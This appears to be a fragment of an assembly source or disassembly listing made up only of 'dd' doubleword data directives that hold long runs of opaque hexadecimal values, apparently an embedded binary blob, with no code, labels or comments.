dd 0BCE28101h, 2A19C825h, 0A3F28A4Eh, 1351FC7h, 30B69E8h
dd 29F5016Fh, 8FC5878Dh, 0A52D5572h, 81AEDBBh, 0B1C090Ch
dd 803D507Eh, 0B4EEFD5h, 143621Ch, 804FFE2h, 91AF5Dh, 0BE040390h
dd 4D218B8h, 0EE1966E4h, 64A85D8h, 0BD0CF86Bh, 0E91A0B4Eh
dd 8240C6E7h, 0E4752CC8h, 1B65A1F6h, 0AC72136Fh, 0F22FADB4h
dd 0BE9133Bh, 0EF6A12AEh, 0EFEA3ADCh, 60DFF701h, 5B2C4EB7h
dd 0C102C628h, 0C1A854C9h, 46AB8F7h, 0BA8D6896h, 0BD27C6F9h
dd 0E320B55Ah, 0BA36D270h, 3CEC2C85h, 0AE732D2Fh, 0E12F9CACh
dd 8207EF93h, 0D45552E6h, 0CA8BF9F2h, 76615655h, 74A1D65Ah
dd 0A54DA93Fh, 0BCAFCB94h, 2DBB5F25h, 17BA3D02h, 31BEA57Fh
dd 48C3D8FCh, 83B6F381h, 8833B704h, 0BA4C66A9h, 38B4CC5Fh
dd 0A79CC13Dh, 9018918h, 0CDE580D5h, 48B22878h, 0AF020B37h
dd 92F657Fh, 3309355Ch, 0B37B5742h, 94E43D2Ch, 805985D0h
dd 285209EAh, 60825AD0h, 0C861AE04h, 0A805003Eh, 10E20520h
dd 12DE801h, 6BE95D07h, 745DC20Dh, 0B95C5AB7h, 68BDF28Ch
dd 992905Ch, 64E3B6D4h, 7AF04401h, 0AE7CDABAh, 2B400C12h
dd 0E5539FBEh, 97F59AAFh, 5694FEFEh, 26B432D0h, 6877E85Bh
dd 0DE6C544Fh, 0E3CB4A22h, 5C5F72DAh, 920727EFh, 495AC21Bh
dd 0EFB0AA09h, 6C98D7DBh, 58825627h, 9A5EBDD6h, 0F63BE621h
dd 37D82880h, 5B6B151h, 7B35EA04h, 64D00984h, 1E8F480h
dd 8658E508h, 42DAF6D5h, 66F52BE3h, 1B8F09D2h, 92D5FA1Eh
dd 2CC4021Dh, 0B0A06515h, 0BFB25278h, 8EAC014h, 0D941DCh
dd 516A2CDCh, 0C8C23A94h, 231056Ch, 550B68A1h, 0C68D99DFh
dd 616FC9E9h, 7F7014h, 2C60055Fh, 1CCECD26h, 833F204Bh
dd 0EF56B2EEh, 1AFD605Eh, 3E0B2D51h, 0B307AA44h, 59EB3087h
dd 239562A4h, 0BCEA0831h, 0D4F7376Ah, 0D7F707B9h, 75EF11F2h
dd 0EEDEAC3Ah, 31C85B88h, 2B63BBCCh, 50C069F8h, 0B3430BB8h
dd 0E9407D06h, 0FB7B9E6Dh, 126A93DDh, 9FAD303Eh, 0D9A01177h
dd 0C6BD5146h, 35B2517h, 6F5696B9h, 0BAA80EBCh, 1195D34Eh
dd 8144D4AAh, 9DBBAF6Ah, 5ACBE87Fh, 72F0DC82h, 0F9D79784h
dd 0A2AEA4E1h, 1D8CD3A5h, 850EA268h, 75A04C9Ah, 1503B595h
dd 8B97DD89h, 0BD40C1C8h, 0F003C299h, 6494C22h, 1C66450Ch
dd 0D876DE58h, 0EA0C1F2Dh, 59080592h, 0FFC55780h, 16F5F84Dh
dd 0B5121F1h, 0DF5CDB7Fh, 762FF426h, 705EDA7Dh, 0F6267689h
dd 2E6C86Dh, 3BB31AD0h, 3E62241h, 3882D5F7h, 8D845745h
dd 0C60DD129h, 8E176058h, 58E56D3Fh, 0BB44C4Ch, 60610C44h
dd 749EB2C1h, 3901417Bh, 845526D4h, 0D75F2219h, 9056FDF0h
dd 577B096Bh, 1E027FA6h, 0E7FF1C32h, 5CABA609h, 50A21A9Fh
dd 17075E51h, 2CA4C455h, 7B4DE9F2h, 5E225CE0h, 0E9E370AFh
dd 0DEA821C4h, 1804D8F7h, 0F82950CBh, 0C282B8BEh, 0E430428Fh
dd 0C3F52782h, 682D746Eh, 0E9080138h, 21A8BDADh, 73783810h
dd 40596F90h, 89395707h, 0F6A451CFh, 0CE2D9A44h, 821A75B5h
dd 0BEC4C184h, 0E20684DDh, 75A9804h, 7F2B32E6h, 0BDB1FAE9h
dd 885FE104h, 23A1804Ch, 0B34A77A0h, 0E957FDC0h, 901E9ABCh
dd 0C28012A6h, 0F521915Ah, 0C8BB03A8h, 62EA064h, 0D28C5DBEh
dd 1A5C4C4Eh, 522C2752h, 0D8088379h, 95195268h, 0ACFD211Ah
dd 6A02822h, 29406515h, 88248CEh, 0E1C38D57h, 0D3BA80D4h
dd 0D19DB998h, 0F7682ABBh, 9B0F23B9h, 77EB0B73h, 715F7F89h
dd 0E931CCF0h, 5C53A5Ah, 0C956CAAFh, 0F4BEF75Ch, 0BB90208Eh
dd 4A538840h, 5481EABBh, 0AA60DF29h, 6801817Ch, 147B124Eh
dd 2372DEEh, 29709DCFh, 8F1C7595h, 2AAA6813h, 0E90D43B7h
dd 3A382C01h, 424200BFh, 3A97F281h, 36CA13Bh, 779FCCAh
dd 0FA180C1Eh, 0D12C3F7Bh, 2D9CD797h, 501EDC9Dh, 0AD9B20AEh
dd 0F091983Ch, 0F1CD6812h, 0F4DA8552h, 4C7F2789h, 17EDFB53h
dd 163A206Bh, 2259BA5Eh, 4BCE03E4h, 0C42E9769h, 2B153090h
dd 35325C1Dh, 0AEB0200h, 9DE4E9CEh, 54B19AB6h, 8C3F7F6Bh
dd 0F1413DE2h, 13D4C321h, 4C4E3E72h, 0CE773712h, 44FA4B90h
dd 81B93EE8h, 2F545333h, 6C81BD21h, 3F8CF37Ah, 0B2772C52h
dd 811A77A4h, 0F508200Dh, 5A8F4BE3h, 0E980C81Ch, 9F07AB4Bh
dd 9AD9BC68h, 0CE964055h, 1358E621h, 0F46A3CE9h, 2EB138BEh
dd 43FAEB12h, 0C2315F2Ch, 0F90B88F3h, 0D5E36855h, 0B80720C4h
dd 6DC44FDAh, 5FDE6489h, 979C14Ch, 6B92DDCBh, 0C0BD9401h
dd 0A541676Ah
dd 317BD450h, 7B51351Ah, 0B0FC4075h, 25E26809h, 0C408F831h
dd 83484E59h, 0B6337246h, 807A615Bh, 0B10937C0h, 0DE038B9Ah
dd 395743ABh, 2DB30CEh, 7D70EDF3h, 0C1436307h, 524BCDD0h
dd 0B50558B7h, 0B3609AEAh, 3A5B285Fh, 841EBE9h, 0FEB44B38h
dd 0AFD11061h, 4A786773h, 3F21B1ACh, 0C4104FCBh, 5BC44E81h
dd 24ABDEEBh, 46026E5Ch, 417E4A41h, 0B800027Ah, 59001A19h
dd 0B72D4857h, 0B866C931h, 0DD07E5F9h, 790241B5h, 0A5D03D2h
dd 9B1E054Ch, 88F60084h, 0C1012645h, 1208E630h, 48077F48h
dd 0A42EA131h, 517D0028h, 0DFFEE868h, 5A59FD3Fh, 0D84E0CC1h
dd 0B7CA5307h, 0A9E2FEFCh, 8969039h, 0F682FB6Fh, 2F15DEA0h
dd 9EFCF8CCh, 41EE4E49h, 238B60C4h, 1ED36497h, 0C8E23007h
dd 5A1C462Fh, 5C58E70Bh, 29A508AAh, 0BAC15F1Dh, 62B572FDh
dd 0A9CB58F0h, 21E8BFBDh, 1274C17Ah, 60735A18h, 4A27E91Bh
dd 0B6C5A6EDh, 22549F75h, 525AD60Dh, 5882AC3Fh, 12482077h
dd 0AC22E168h, 2F25C036h, 24E96029h, 6477D616h, 0A0B1EF68h
dd 136BC5F5h, 0B110A2A8h, 13FC0E9h, 0C56858B5h, 0C6CF6A1Eh
dd 5AA28A4Bh, 9CFF3CBFh, 4F44C44Dh, 51652CBBh, 5AFC569Fh
dd 0E1392002h, 0CB23F955h, 9252C5DDh, 40CCFB9Dh, 0BC6A4A11h
dd 0A69C4FEh, 7FF329AFh, 9B80FBB9h, 4E3A5E14h, 0CE00E29Ah
dd 4031011Bh, 0D0C1C6E9h, 666756D4h, 3456FDEBh, 0DC69C594h
dd 0BB0FC822h, 0AA635D26h, 8559FC5Bh, 32BFFEB3h, 0B8EA7365h
dd 6B26F3FFh, 0D2F41C55h, 0F8B3FB0Dh, 52D0E983h, 0F9316C13h
dd 0F4A05F17h, 0E6D1274Eh, 4202157Ch, 4012F44Bh, 5CBD6C5h
dd 98E9A66Fh, 0B2B2AAC3h, 0C8BE0F0Fh, 16CFBA84h, 60A3CCE0h
dd 32E1BBFEh, 94E8877h, 186AC4E4h, 1163730Dh, 68A4CC1h
dd 0BD453A86h, 0DF0AAF41h, 35FBA539h, 0C4C708DFh, 5EBC181h
dd 9576FA38h, 0A530A6C6h, 61687CB8h, 0D49A9D0Eh, 0D45F11D7h
dd 13C6167Eh, 749F965h, 0F468E829h, 20B54679h, 0D497D3A3h
dd 0EB8B3931h, 60D5AA90h, 9D088B31h, 0C363D95Ch, 2D5C27D9h
dd 0CF209CE4h, 8F2C50F3h, 18EB6120h, 0CFA5E380h, 0DA086FF0h
dd 3941AFA1h, 2E0C2088h, 529BB2C4h, 98EC46DFh, 66DF03B1h
dd 0EDC1592Bh, 0C78652EAh, 26FC70BEh, 742581B0h, 496E5E21h
dd 0E971F23Ch, 2499B49h, 315EF729h, 0F0CDC1FEh, 0DCF4FBDBh
dd 2160B7AAh, 0B50A0B19h, 5D12E371h, 9FFD27AAh, 241024FEh
dd 791209D9h, 308202DEh, 0DCA670ECh, 0F4F02D20h, 0F9106A30h
dd 5A50A2C9h, 0C68F8C5h, 0CE02689h, 1B823EC1h, 22B71A4h
dd 2925247Fh, 456795C0h, 68663A04h, 9AA84D27h, 0FFB8B1C4h
dd 0E3AC039h, 820222Eh, 0CE27E920h, 0CACCD782h, 75B77A6Bh
dd 0A89376E5h, 5A5856C0h, 0C5C07368h, 0EC0C9737h, 0FEFC9353h
dd 99F0812Dh, 3DB3050Ch, 40A74029h, 0F59D5B68h, 6CBD4D9Ch
dd 46012084h, 0B33BF4C1h, 0AC2A29E0h, 0C8F20255h, 0D7793E4Ah
dd 0B403D362h, 419211B6h, 72974D46h, 0DD87A78h, 63FE3251h
dd 0DE78E015h, 0FC696D27h, 89C624AAh, 0DC513DE9h, 52A07E49h
dd 0E9855045h, 8F5D76FBh, 0B15FE689h, 5965F775h, 0A7D286EEh
dd 0A9F50663h, 0C6BFD68h, 50BD23F6h, 0CEED04B4h, 0FBE6E54Eh
dd 14CC49B1h, 0A5A302B5h, 68E9DE89h, 6A2D8049h, 0DC13FFB2h
dd 0F632FB4Ah, 2D5BD0FEh, 1719D968h, 0A2327057h, 1EC46601h
dd 9AE95359h, 0BBA70D7Eh, 0CE80C2E7h, 4E5E6B88h, 84D30134h
dd 0FB680802h, 8FEAF46h, 0CB290E32h, 9FABFCE9h, 0D8F25B74h
dd 3AE913E6h, 78CEE2B4h, 2BDBE32Dh, 276BF5D9h, 5A1E0E50h
dd 3CD0F680h, 729AAC0Ch, 2B773ECFh, 6DE45F87h, 0E9748F67h
dd 0DC3A29EBh, 5E9D00F8h, 99B934BFh, 6310BC9h, 206229DAh
dd 6819B4D4h, 8EDF78AAh, 645ABE3Ch, 0AB2BBEEh, 4E1DA810h
dd 50241AE8h, 4FA207A8h, 48B82080h, 3298601Fh, 504A690h
dd 114260Dh, 3B394990h, 4EE9E237h, 0FE45C1E4h, 0F5AA42C4h
dd 0AF2D6600h, 5A42F233h, 85FFA9CCh, 0B54503B5h, 90848754h
dd 470812ABh, 0CC1B3C38h, 744AE966h, 74011E13h, 0ADFC164h
dd 90D4823Bh, 0CF05BE64h, 6775ADEh, 0B7EAE80h, 70C5A15h
dd 0CA3FEE87h, 70B526C4h, 8A2BE94Fh, 0F5ACFBFDh, 68097610h
dd 52B01C1Fh, 77C97902h, 69D857C2h, 97EFCDF6h, 13AA5BA6h
dd 0D623AAA6h, 3EA28D5Eh, 0AF65C4D2h, 0BCE59EE8h, 0BB53C752h
dd 20DE7F71h, 112E2C7Bh, 30520B0Bh, 59E5DF31h, 0E6E45C93h
dd 0E5E68C31h, 10505326h, 406F7A0Eh, 0C56CE935h, 0D06C95FEh
dd 2B556876h, 1650601Dh, 574C8982h, 0A4B0B758h, 0B8E5EFE9h
dd 0CC459EF4h, 0DA16DD39h, 8144184h, 56042E98h, 4A880864h
dd 83E160DBh, 5F194DF7h, 8CC13D5Ah, 530326F2h, 5B6F2EFEh
dd 5C4360BCh, 7F8DE90Eh, 8CEB8050h, 643D3C12h, 77F392F4h
dd 0ECB35FF7h, 79A900C8h, 0E9556F3Ch, 90F854E7h, 314A4ADBh
dd 47F3B4Fh, 9845E0BEh, 0D282B195h, 51B0E02Eh, 0E92BB506h
dd 681A97Ch, 453657F7h, 80790C74h, 0F2F0BB25h, 0FFC15F00h
dd 0F98F142Ch, 0CDBAB23Ah, 3A207366h, 12A5929Fh, 2DE8285Ah
dd 53F0C069h, 0FE82B30Eh, 80C347CBh, 0C06EB26h, 0A19CE943h
dd 1609C2A5h, 0D0638D32h, 0B3BC124Ah, 201F9B9h, 4E4CFDC3h
dd 5F4AD53Ah, 0EF5F0804h, 0FA665C61h, 1FBB412Ah, 8322636Fh
dd 4F586522h, 14F7B112h, 3A14D97Eh, 0A01F8F87h, 0E999C372h
dd 0EAD05A61h, 4C82F22Dh, 65C936B5h, 2F027FC1h, 4DB2C4C0h
dd 82196972h, 835C58A4h, 8E78B0BCh, 5FAA305Ah, 830F17CDh
dd 48D58DCh, 53087FBh, 344002BAh, 6A124184h, 0BF570040h
dd 1CBA77B9h, 76C9E7C1h, 340084DFh, 82CB601h, 2AC547F1h
dd 801003B9h, 0D98006C1h, 289EF8E9h, 6141B03Ah, 0F6F379A6h
dd 45530055h, 2E323352h, 0C0E36C64h, 56734441h, 0D495029h
dd 0CE544E8Fh, 460A354Ch, 0DFE9B201h, 2368FEE8h, 6179A1Eh
dd 8FE52F89h, 0AB94A81h, 0F2842510h, 421B489Bh, 11249D6Bh
dd 711CF22h, 9E45BF08h, 3211E4E1h, 20F3129Fh, 0DBBA2A84h
dd 75E54400h, 0C23293A0h, 7CFC0F33h, 38C0690Ch, 3D6E2DC8h
dd 90018270h, 59C92E05h, 95D967BCh, 75D033C0h, 1C421D60h
dd 916B40A9h, 0B28A0B16h, 980059E2h, 1FA6B8E8h, 0FC9BFB3Bh
dd 0C5800742h, 7093F89Ch, 9D614E5Fh, 1072BF00h, 0F19976A0h
dd 5A204D2h, 0C04DEC74h, 0BF706519h, 291ED300h, 84DAB007h
dd 0CC1900C1h, 0E2E4C973h, 82FC3E63h, 0ECBDF600h, 62E1FBC3h
dd 3115C03Fh, 5D3264D4h, 38D2E300h, 0A4CC6CFEh, 90093DEDh
dd 0AD82D800h, 0C8B33291h, 0C2F09800h, 0B1E555D5h, 0EBF300DCh
dd 0D30F52F1h, 0EE00FC9Ch, 0A272DDDh, 617D48A9h, 0EB51954h
dd 0B20D80CBh, 416E3FE1h, 7F7EB4h, 9D78F18Ch, 4D67D1DDh
dd 50BCE527h, 0E747003Fh, 30919E77h, 0FE0035C0h, 0B9660F7Fh
dd 12EC737h, 84118101h, 49296427h, 0CEC708BFh, 68B75E03h
dd 0FFFA9B0Bh, 0C51B3EA3h, 21E2C307h, 57C72460h, 347D005Fh
dd 0A8F154B5h, 100F86F2h, 806D4253h, 2B336313h, 8B4D0098h
dd 456E169Eh, 427974E4h, 28F99D1Eh, 3E9F1D83h, 0F240D587h
dd 5E371829h, 0CCDB1CFCh, 10E3C0B1h, 7998E80Ah, 200B5F8h
dd 1282E72Ch, 3D3F2B24h, 140572D2h, 0D109C1Fh, 804EFC46h
dd 56C6268Dh, 325A479h, 0BEB7E0B1h, 40E53CB8h, 0F161DD96h
dd 0AA010F24h, 69C45B3Ah
dd 0A1FC1CF9h, 0CF640031h, 7D1AFB6Bh, 2F00930Eh, 0E649D6BFh
dd 0A909F76h, 231C434h, 8B5382A8h, 96A091B8h, 4FA19B5Ch
dd 72E26202h, 0A0B0D96Ch, 806A3B93h, 0D6CFA093h, 0EE5E03DDh
dd 8934C5A8h, 0DC1E3DC9h, 6449C397h, 0B9D728F6h, 0EC4D6600h
dd 0E0453A7Ch, 734488B9h, 0B6E65C77h, 0C9159760h, 603A096Ah
dd 0D4D61117h, 0FC02871h, 0A6EDC2D3h, 0F8D70E47h, 0A914311Dh
dd 75A559C0h, 0BE09DA69h, 169C64h, 0E163503Ah, 6F6D0D71h
dd 0F4BE8DD4h, 0AB005F70h, 81F153E0h, 6E249FBDh, 0AF631DFDh
dd 71E951BBh, 0C5C68006h, 9D7A864Fh, 0A7D8E13Bh, 0B5E70036h
dd 39165EBFh, 6300E051h, 0D8D9C3F3h, 0FFFEB5Bh, 1C4E599h
dd 16BC980Ch, 7A269600h, 6106FAB1h, 0C5771C2Eh, 4AF982EAh
dd 860B58Ah, 0BB005A6Bh, 0F87B0764h, 0B18E88h, 4697C09Eh
dd 0D3CAE50Ch, 0F767C500h, 536332D8h, 6B733BA3h, 8B579281h
dd 600A1B10h, 0D007D0Eh, 0C939BB68h, 75CE7F5h, 1CAB8735h
dd 90370B8h, 8926EE43h, 0A1F70FDh, 0C3701AC0h, 4DD040h
dd 0B1CA49C8h, 0EDAD151Fh, 7427DDBCh, 0D6803F74h, 1D12E353h
dd 650030A0h, 1BFA6ACEh, 36A604h, 5043485Fh, 3CF382F2h
dd 0AA4BBB00h, 0EE87F775h, 52C20341h, 774E10C3h, 394069AAh
dd 0E4495819h, 53B481CFh, 5410A9F0h, 2A006C43h, 0F774B555h
dd 7A638Fh, 0F9F9602h, 31391E20h, 0B17C0900h, 10FEEC1Dh
dd 7E2FFC23h, 61F7DE7h, 7633EF8Eh, 0D3E2903Dh, 73614C26h
dd 640C303Eh, 792BD8Eh, 0B6A30AABh, 60164D9Ah, 1905B1ECh
dd 0A73F97A9h, 5F7DEB90h, 3BD77E4h, 6F401087h, 0C179977Bh
dd 91A64E14h, 19466170h, 0F4FC2F08h, 7EBE7D42h, 0B2580F48h
dd 1220F684h, 0C3DD794Ch, 0A00E5B90h, 3C0E68Fh, 0D8370ED0h
dd 1F1089FEh, 9D7DB98Ah, 910180C6h, 4B3FD1A4h, 192C7002h
dd 44DB1CADh, 0D40902C4h, 193C3A3h, 3C408029h, 0D22A1Bh
dd 5A40D3C1h, 7C0F1C9Eh, 2C039003h, 0B8A4543Eh, 0F56CB0h
dd 0C23C388h, 18F9332h, 8C3D4F90h, 0E3628327h, 0C890F6BEh
dd 436C3Dh, 0CA2EF7A7h, 0F4F85B32h, 36C8E700h, 771F678Fh
dd 701000ECh, 3C77E40h, 0C9076C25h, 0CF3FBDEAh, 540F695h
dd 0AB4BDDD9h, 0E063007Bh, 0F09969E5h, 9704A778h, 59B590C5h
dd 1D830D84h, 7119C0BAh, 794359C0h, 2636EE2Ch, 0C1B64479h
dd 20472671h, 0E700F3C9h, 3BDDC641h, 30BB8A54h, 55303096h
dd 923B6B44h, 0D1DC01FBh, 746ED6E0h, 998FFC74h, 0E8169Ch
dd 0B7278659h, 0EF0051DEh, 2989967Fh, 7BFDCB9h, 171D1CCh
dd 15A06B74h, 6F0676F6h, 42D3A2C1h, 0AFEBCD91h, 9A790099h
dd 1DAB63D9h, 8003DB0Bh, 0D649D7FCh, 0C9056F30h, 0DD4B8221h
dd 390A4080h, 0B00C2425h, 0EE524090h, 97E4517Eh, 0BC2C8800h
dd 9A0A697Ah, 0D0E60003h, 7B79B7DFh, 0C9C010F7h, 522393F3h
dd 0EC5C00DDh, 2B9B1A09h, 0E591D54Ah, 482D9D07h, 0E4655872h
dd 0D0CC4C67h, 0FB5A6A33h, 15BE7F07h, 0C95D7A49h, 0C0E755C4h
dd 8E9A5F1Ch, 70284509h, 0DA05E9E0h, 0B4ADE959h, 690DF87h
dd 0B8BAAh, 387B82E4h, 0E84D49B9h, 558E4100h, 0AC617668h
dd 0F4F77EEh, 137E6C04h, 456DAD02h, 169FA340h, 32CD8E2Ch
dd 0D4E11C09h, 7F01376h, 702582CFh, 0AC290E7Eh, 13F73F07h
dd 0F1B19516h, 484B787h, 81CEB40Ch, 60E8B9B2h, 0EA005A60h
dd 5C37D3ACh, 25EB2D0h, 0ABB3E393h, 0D2EA3018h, 85527280h
dd 0B71758F4h, 0CB18DE02h, 0E4828B22h, 273000BEh, 24C42125h
dd 923D81E1h, 0E6CC812Eh, 2DCE212h, 0F62069C8h, 58CBF8ABh
dd 0ED00F9FAh, 90B8B1D4h, 0F10077BFh, 82411D4Dh, 3BDEDF03h
dd 85CC52A2h, 0AE47B700h, 0B920281h, 9F02E873h, 0F9797B03h
dd 16347620h, 224000E3h, 593CAC0Dh, 0FECA59h, 6233A305h
dd 0FD6DCDh, 95088318h, 63D0A515h, 896CDC00h, 0CBAA1A9Ah
dd 67D70754h, 8E19458Eh, 12F0A8BFh, 32B78506h, 0EAA0D854h
dd 5C8B3AD0h, 3B9992BAh, 61097900h, 56D6DBh, 0CE3EBCF5h
dd 0B4EF7C8h, 0F20B95BAh, 80670E21h, 0D9CACC65h, 0E23F45Ah
dd 0B7538A8Fh, 1340DDC1h, 54797009h, 0AD4B42B8h, 0D8568F00h
dd 968D68h, 5DD2A313h, 8EA570E0h, 6FACDE94h, 10830880h
dd 5B342B2h, 0EA8BFB7Ch, 3A46235h, 6D12AE68h, 18D996C2h
dd 4773AE24h, 6CB249AEh, 1441CB25h, 7C40BCC6h, 0B63C11B5h
dd 609C033Ch, 671839DEh, 0F8C9F722h, 0A2211200h, 0E42B2C32h
dd 0D443005Ch, 5ECE2FFBh, 487F6758h, 16E3D300h, 0E4EBFEEh
dd 0EF710356h, 61834CC8h, 8AA5B2C0h, 0FD7FB400h, 0A4260195h
dd 7BF702E2h, 0BEA0B654h, 0A28FB3C8h, 86B02000h, 0D9C4A689h
dd 884E60C6h, 31427445h, 4469D105h, 0D856E63h, 0A039FB93h
dd 7D65B4Fh, 5A75E546h, 30666059h, 9FF4705Fh, 652B025h
dd 3219FEh, 0ECF2DDEEh, 0C2F464C7h, 4B00D57Eh, 9C1F3971h
dd 48BCD7B3h, 57896CEEh, 15262920h, 0B30E1021h, 40895343h
dd 276FDF5Eh, 0AAEF3156h, 0D8405127h, 22000FDBh, 41B1129Eh
dd 1577855h, 85F576B3h, 65C043F0h, 0C435A6C4h, 35183426h
dd 907A5Dh, 1A0E1BA6h, 189B2C93h, 56CDA800h, 6B3165D5h
dd 2DF0006Ah, 0D709CCD9h, 0FD98F633h, 3E771200h, 53BB388Fh
dd 16DF00F7h, 446B24D2h, 4098ADB1h, 7D362603h, 0C8DADCFFh
dd 8B4BCBh, 9495755Ah, 1170A616h, 0E950D80Bh, 0E50D00F6h
dd 63D1282h, 41883B21h, 2C02B2C0h, 3A246F1Bh, 0D9E40F9h
dd 0D95A2630h, 2583499Ch, 8E06E7CEh, 87CA7963h, 39662E3Bh
dd 5D728065h, 8EFE7CADh, 63E73Ch, 3ECC42EDh, 2823C79Ah
dd 48B985E6h, 7F18403Bh, 2DFE40D5h, 755E3D00h, 89CEED7Eh
dd 2C9700C5h, 0AE0C7CE5h, 0D307B788h, 55D6F1DCh, 0A88BBBh
dd 1B1806F7h, 0F0260496h, 89BE6B1Fh, 0AA2D30E4h, 0CF37B900h
dd 0F2D5A436h, 2A09670Fh, 0F0398715h, 77507FE6h, 0F184F401h
dd 6551C142h, 0BBDE90E3h, 0C07ADEE2h, 0A8086671h, 0B813B0A9h
dd 85007713h, 7BDA5855h, 9DC524EAh, 3492870h, 3F7F17AEh
dd 0D474A811h, 51784B00h, 1CD4193Ch, 145F000Bh, 9CA2D2A6h
dd 453BD029h, 4A5B8001h, 64D4574Ch, 777D015Ah, 3DAD1280h
dd 0C9C07FF9h, 162D8FD3h, 4F892BDh, 0C0B525FDh, 0DC27941Fh
dd 4ED5A100h, 0C3C2935Fh, 4D6A12B0h, 75C400F3h, 40EF86F6h
dd 0DBA253F8h, 0FEB967C0h, 0DB351A00h, 134296ABh, 1414B059h
dd 0A2BC6D1Dh, 0AFE75780h, 19B23DC2h, 80349469h, 0E2E1D519h
dd 578C0433h, 0C0476C6Eh, 50C03D76h, 0D0FFBA09h, 715E00F7h
dd 1CD141C2h, 31115DE5h, 24565B02h, 860067E5h, 373C2564h
dd 0F298B7h, 244B2F4Ah, 475C5ACAh, 3101759Ch, 3E3363D3h
dd 0C054D264h, 4FBF4341h, 8A05A47h, 647A52C2h, 3C7AEA09h
dd 0FA0B5778h, 9F8B34D5h, 51BD8294h, 0A07852A4h, 37FB6805h
dd 6CAC6642h, 6E2C1A0h, 0BDAF737h, 0C960F2E0h, 0A07EF397h
dd 1ABD5434h, 7C174E3h, 0D4C708A6h, 0E623EA31h, 7181D141h
dd 770F8BF6h, 2C8BD930h, 0E13E7595h, 0DB00E97Dh, 6010FFFDh
dd 0FEB8CE49h, 6170FA2h, 0E081C503h, 0E0B088B5h, 0EA0F340Ch
dd 40F82510h, 986CE433h, 0C4A10F42h, 48E34E77h, 0F4C04BC0h
dd 0A4006D93h, 4A0A46D8h, 7423FEFh, 76DE4592h, 1213F03Ch
dd 0D6006805h, 79F0D810h, 23E20Fh, 0EC73429Ah, 0AA185B56h
dd 0C60B62F0h, 683347h
dd 7934D7F9h, 960EA5Ah, 0EF90B0Fh, 848DE01h, 0E530D3E8h
dd 516B2ED4h, 0CDCC13F2h, 8391AEE5h, 0B5F0044Ch, 73C2769Fh
dd 69D80073h, 0F5C9469Ah, 1603B46Fh, 0AEC08158h, 0E8321870h
dd 5E643D0Bh, 0C6ACDA00h, 5D3937AAh, 0B47A65h, 0DFA1A5B9h
dd 0B3E9814Dh, 8B0C8560h, 7117BF10h, 20E7D57h, 19D28DC2h
dd 7944E828h, 9F59AD00h, 0BD349D06h, 1FF7D97h, 864EE295h
dd 501881CCh, 0B8943D5Dh, 2489AF00h, 88DE0443h, 838B0114h
dd 34FCE1F5h, 0C2017B12h, 6319252h, 0C0711E50h, 34AE0E87h
dd 58E085B4h, 0ECF368FFh, 0A9603006h, 2A2ED2Bh, 7D2CC12Eh
dd 1944850Fh, 4BBF6603h, 0E310899Bh, 0F7A8848Ah, 172C49CCh
dd 18C38088h, 1125E91Dh, 43EED1AEh, 0EC17BB0Fh, 3D9C8774h
dd 2F415410h, 0B75B7F53h, 5C00EFF2h, 0B6EF30C1h, 169BA281h
dd 3B28D8h, 803F9054h, 6001EB8Ch, 1E6E5E97h, 67C12D34h
dd 7C6F0DE0h, 0EAFE3366h, 60A1FF8Eh, 9F6AD001h, 700DC70Ch
dd 0E8CA2169h, 96D43044h, 31D5E011h, 9FE5FA10h, 930F3867h
dd 1101BB4Ah, 701F3D17h, 8184071Ch, 0C6A71B68h, 7E0211C3h
dd 83A69629h, 54FE00F3h, 0E721DDA1h, 486119EDh, 2111020Bh
dd 0D262697Eh, 5BE35090h, 76D40711h, 941CED0Fh, 8E9D75A0h
dd 0E70DF13Bh, 0E0851F87h, 506CDA30h, 6F88405h, 5CE6B1C1h
dd 0E40F1008h, 0A19AFE66h, 0BB956CA6h, 0F2467960h, 0EAA006FDh
dd 60F1139Eh, 763E26F6h, 78BB3E9Dh, 70C6D47Ch, 28C1FFE6h
dd 8A2DDBh, 0ECB2875Ch, 12C5D50Ah, 0E919AC1Ch, 80069649h
dd 0F0EE74D1h, 0F580C721h, 0C9998E0Dh, 0C3730E9h, 0B17F68C3h
dd 0D4008579h, 7887E8C0h, 909F60CEh, 20B422BBh, 400ACF2h
dd 0FE69944Ch, 1C90931Fh, 0C0EC515Eh, 0C9E5E280h, 0C73B3C1Eh
dd 80853C52h, 50DCB386h, 337889DBh, 0E150A3BEh, 406B54E1h
dd 0FE76568Ah, 0A00E9C30h, 0C2787F0h, 0EF89A677h, 1A0950E9h
dd 6E1F62h, 5B6CF778h, 4964803h, 0E9A2F040h, 3A61FEDCh
dd 78004F8Fh, 0E442BD58h, 70266F3Ch, 732409D5h, 41B7ED07h
dd 43C13380h, 76E83C78h, 5750D307h, 0BE5980ACh, 353EE76Eh
dd 0E1BA93h, 46E09F4Eh, 0C74771h, 0CFFE6256h, 0E1A8BC4Ah
dd 4C734800h, 416446E3h, 0B73805EAh, 28A1DE4Dh, 9BB0B438h
dd 4AE97278h, 8B19C18h, 71E1D970h, 98E678F0h, 54E401BBh
dd 37C8FCB9h, 53C1F0BDh, 0EAAE4E00h, 0C5AB7134h, 7A1F055h
dd 0A7C249F0h, 7686ABEh, 0E3C4515Dh, 39414E62h, 4BEE298h
dd 0A606C518h, 260110h, 0AB8F040Fh, 862D639Bh, 0C800E4F2h
dd 1585D32Eh, 30AE541Ch, 0F830A2E0h, 2B63A4A3h, 0B9914819h
dd 8402004h, 4E4F79h, 0B35AF569h, 4D517695h, 772C3450h
dd 0DF949B05h, 0C60AB85h, 858F03D8h, 3096288Ch, 0F5680D11h
dd 9058B461h, 0FD813BA0h, 86013525h, 79465E40h, 407E66E8h
dd 0B83459DCh, 780228E0h, 8474485Eh, 0F73B2058h, 97E27768h
dd 0E7F11DB4h, 62B3B04Eh, 91360EE0h, 1DA1761Eh, 0CC417B12h
dd 867C9DFBh, 21D12880h, 1F512ABCh, 0C7DF328h, 0F4EB4E09h
dd 30E427AFh, 16A08B90h, 335F0754h, 41E19751h, 828C0B28h
dd 2587FE19h, 99FC4819h, 99D001Bh, 67F3E423h, 730A6563h
dd 0C3BD268h, 914780Fh, 6714A2E9h, 2858800Dh, 53015511h
dd 0CCA264A8h, 97413320h, 8C395563h, 120BBC02h, 9CF0B80Eh
dd 0CE80E7BFh, 0A16E0542h, 69524FF0h, 0A051F84Ch, 98A1E2E0h
dd 4830425Ch, 0C3C2248h, 51E605FBh, 0F4290BC1h, 1A918C80h
dd 6FA0E446h, 2A3AD81Fh, 98696CD3h, 90C8847Dh, 9049459Fh
dd 144D2164h, 0E2193D61h, 884C9BA5h, 48E0C4C8h, 16648278h
dd 557B7710h, 408A940Ch, 84E0A8B5h, 8CE5447Dh, 148AAC0Ch
